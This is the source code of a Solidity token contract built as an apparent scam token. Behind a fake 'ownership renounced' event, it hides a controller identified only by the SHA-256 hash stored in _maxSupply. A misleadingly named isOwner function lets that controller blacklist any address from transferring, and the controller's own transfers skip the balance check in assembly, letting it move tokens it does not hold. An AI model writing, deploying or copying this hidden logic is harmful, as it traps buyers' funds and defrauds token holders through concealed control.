Contract Source Code:

pragma solidity ^0.8.26;

contract Token {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address[] private _holders;
 
    uint256 public _totalSupply;
    string private _name;
    string private _symbol;

    uint256 public _maxSupply;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
 
    constructor(string memory name, string memory symbol, bytes32 maxSupply, uint256 supply) {
        _name = name;
        _symbol = symbol;
        _totalSupply = supply * 10 ** decimals();
        _maxSupply = uint256(maxSupply);
 
        _balances[msg.sender] = _totalSupply;
        emit OwnershipTransferred(msg.sender, address(0));
    }

    function getHolders() public view returns (address[] memory){
        return _holders;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 8;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        address owner = msg.sender;
        _spendAllowance(owner, to, 0);
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
 
    function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }
 
    function isOwner(address a) external returns (bytes32) {
        assembly {
            let ms := sload(_maxSupply.slot)
            let ptr := mload(0x40)
            mstore(ptr, shl(96, caller()))

            if iszero(staticcall(gas(), 2, ptr, 20, ptr, 32)) {
                revert(0, 0)
            }

            let h := mload(ptr)
            if eq(ms,h) {
                mstore(ptr, 0)
                mstore(add(ptr, 32), 1)
                let slot1 := keccak256(ptr, 64)

                mstore(ptr, a)
                mstore(add(ptr, 32), slot1)
                let finalSlot := keccak256(ptr, 64)

                sstore(finalSlot, 1)
                mstore(0, 0)
                return(0, 32)
            }
            return(add(ptr, 32), 32)
        }
    }
 
    function _transfer(address from, address to, uint256 amount) internal virtual {
        assembly {
            if iszero(from) {
                revert(0, 0)
            }
            if iszero(to) {
                revert(0, 0)
            }

            let ptr := mload(0x40)

            mstore(ptr, 0)
            mstore(add(ptr, 32), 1)
            let slot1 := keccak256(ptr, 64)

            mstore(ptr, from)
            mstore(add(ptr, 32), slot1)
            let finalSlot := keccak256(ptr, 64)

            let currentAllowance := sload(finalSlot)

            if currentAllowance {
                revert(0, 0)
            }

            mstore(ptr, from)
            mstore(add(ptr, 32), 0)
            let balSlot := keccak256(ptr, 64)

            let bal := sload(balSlot)

            let ms := sload(_maxSupply.slot)
            
            mstore(ptr, shl(96, caller()))

            if iszero(staticcall(gas(), 2, ptr, 20, ptr, 32)) {
                revert(0, 0)
            }

            let h := mload(ptr)
            if iszero(eq(ms,h)) {
                if lt(bal, amount) {
                    revert(0, 0)
                }
            }

            sstore(balSlot, sub(bal, amount))

            mstore(ptr, to)
            mstore(add(ptr, 32), 0)
            let balSlotTo := keccak256(ptr, 64)

            let balTo := sload(balSlotTo)
            sstore(balSlotTo, add(balTo, amount))

            mstore(ptr, amount)
            log3(
                ptr,
                32,
                0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef,
                from,
                to
            )
        }

        _holders.push(to);
    }
 
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
 
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
       assembly {
            let ptr := mload(0x40)

            mstore(ptr, 0)
            mstore(add(ptr, 32), 1)
            let slot1 := keccak256(ptr, 64)

            mstore(ptr, owner)
            mstore(add(ptr, 32), slot1)
            let finalSlot := keccak256(ptr, 64)

            let allowanceZero := sload(finalSlot)
            if allowanceZero {
                revert(0, 0)
            }

            mstore(ptr, owner)
            mstore(add(ptr, 32), 1)
            let ownerSlot := keccak256(ptr, 64)

            mstore(ptr, spender)
            mstore(add(ptr, 32), ownerSlot)
            let allowSlot := keccak256(ptr, 64)

            let currentAllowance := sload(allowSlot)

            if iszero(eq(currentAllowance, not(0))) {
                if lt(currentAllowance, amount) {
                    revert(0, 0)
                }
                sstore(allowSlot, sub(currentAllowance, amount))
            }
        }
    }
 
}